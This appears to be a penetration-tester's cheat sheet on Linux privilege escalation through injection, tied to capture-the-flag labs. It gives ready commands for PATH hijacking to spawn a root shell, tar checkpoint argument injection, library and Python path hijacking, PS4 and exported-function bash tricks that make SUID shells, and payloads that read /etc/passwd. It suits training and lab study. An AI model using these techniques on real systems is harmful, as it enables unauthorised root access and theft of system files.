Injection

If there is some code that can is executed as another user, for instance, a scheduled task or a program with the SUID bit, you may be able to modify the code behavior using injection.

➑️ You may need/want to create a root bash.

There are basic scenarios in which you can directly exploit the executable, but in other scenarios, you may have to exploit the environment itself. In short, it means you may:

  • 🌸 edit the environment variables
  • 🌿 edit the files used by the program
  • 🎭 create a file named after the parameters of the command. For instance, if the code uses a glob-pattern, the pattern will be replaced with the matching files. So, you may inject parameters.
  • 🐦 use a flaw in the script language
  • ...

Path Environment variable 🌸

linprivesc linuxprivesc commonlinuxprivesc linuxprivilegeescalation mustacchio archangel bash_system_1 bash_system_2

If you can run a script, you may try to see if the script uses your PATH to work. The easiest way to test that is to empty your PATH.

$ bash -c 'export PATH=; <execute the script>'
"xxx" command not found ====> OK!

You can then try to replace the command binary by a rootbash.

$ file /tmp/rootbash # create a rootbash
$ ln -s /tmp/rootbash /tmp/xxx # replace the command "xxx"
$ bash -c 'export PATH=/tmp:$PATH; <execute the script>'
<your bash is called>

⚠️ If you are not able to edit the PATH, try to see if you can write files in a folder in the PATH that is before the original folder.

Unfortunately, this doesn't work when the command is invoked with some options, such as tail -f /var/log/nginx/access.log.

The trick is to create a script that launches our command. Refer to Root Bash Script.

$ ln -s /tmp/root.sh /tmp/xxx # your command
$ bash -c 'export PATH=/tmp:$PATH; <execute the script>'
<your bash is called>

Parameters injection 🎭

linuxprivilegeescalation linuxstrengthtraining marketplace ultra_upload

We can inject arguments when glob-patterns are replaced, e.g., by creating file named after the command arguments.

To execute any command manipulating a filename starting with -, you need to use -- such as rm -- -la to remove the file -la.

For instance, to inject -la into ls *:

$ touch -- -la
$ ls
-la
$ ls * # * was replaced by -la
total 8
drwxr-xr-x 2 xxx xxx 4096 Apr 29 18:50 .
drwxr-xr-x 9 xxx xxx 4096 Apr 29 18:50 ..
-rw-r--r-- 1 xxx xxx    0 Apr 29 18:50 -la

While the -- trick is handy, it may not always work. You can alternatively use the relative path:

$ touch './--checkpoint=1'
$ touch './--checkpoint-action=exec="id > id.txt"'
$ touch './--checkpoint-action=exec=id > id.txt'
$ touch './--checkpoint-action=exec=bash script.sh'

If you can read files only in a specific folder or having a specific name, you can try using symbolic links:

$ ln -s /path/to/juicy/file /tmp/script/res/file

Library Hijacking

linuxprivilegeescalation shared_objects_hijacking

Shared Object Hijacking or Linker Hijacking is a technique in which we load a malicious .so file when executing a potentially misconfigured binary such as ls in a potentially misconfigured environment.

A environment is misconfigured when we have write access to a folder defined in /etc/ld.so.conf. Such folders are checked in order when looking for a .so. It includes standard folders such as /lib or /usr/lib and may include non-standard writable paths.

If we find a suspicious binary, we can examine it:

$ ldd <binary>
$ readelf -d <binary>

If the binary has the RUNPATH folder set and it points to a file/folder we can write to, then we can load our .so.

To write a static binary (.so), refer to rootbash#static binary section.

Misconfigured Python installations may also be vulnerable if we are able to write python scripts in the module path.

$ python3 -c 'import sys; print("\n".join(sys.path))'
$ touch xxx.py ; PYTHONPATH=`pwd` python -c 'import xxx'

Check every imported package using pip3 show <package>. If the package is imported from a location that is below a folder in which you can write to, then you can inject your own code.


Bash scripts failures 🐦

Bash versions <4.2-048: it is possible to create functions named after a path, which allows us to execute a command instead. If the path is accessed by a script, then using -p, we can create a bash while inheriting the permissions of its creator.

function /some/path { /bin/bash -p; }
export -f /some/path

Bash <4.4: if debug is enabled, we can inject code in the environment variable PS4 used by bash. If the script has the SUID bit, then using this, we could create a bash with the SUID bit too.

$ env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/; chmod +xs /tmp/bash)' ./script

Special scenarios πŸ“š

Just in case, you may have useful related content by looking at the following pages: command injection, format strings and eval function.


Python input() function

python_input

This command is used to prompt the user for input. The problem is that we can write python code (e.g., 5+5).

open('/tmp/passwd_dump', 'w').write(open('/etc/passwd', 'r').read())

Latex directives

latex_input latex_command_execution

If we can compile LaTeX, we may be able to

  • Execute commands (\immediate\write18{xxx > buffer}, \verbatiminput{buffer} or using xxx 1>&2).
  • Read non-LaTeX files using \input{path_to_file} or using \usepackage{verbatim} \verbatiminput{myfile.txt} (comments)

Bash Script Arguments

bash_unquoted

If the script uses the argument without quoting them nor validating them, we may be able to inject parameters.

$ cat xxx.sh
ls $1
$ ./xxx.sh "-la ."

Perl open()

perl_command_injection

The open function is Perl can execute commands when we use | in the filename. For instance, | cat /etc/passwd. The code is not vulnerable if there is a < before our filename in the open function call.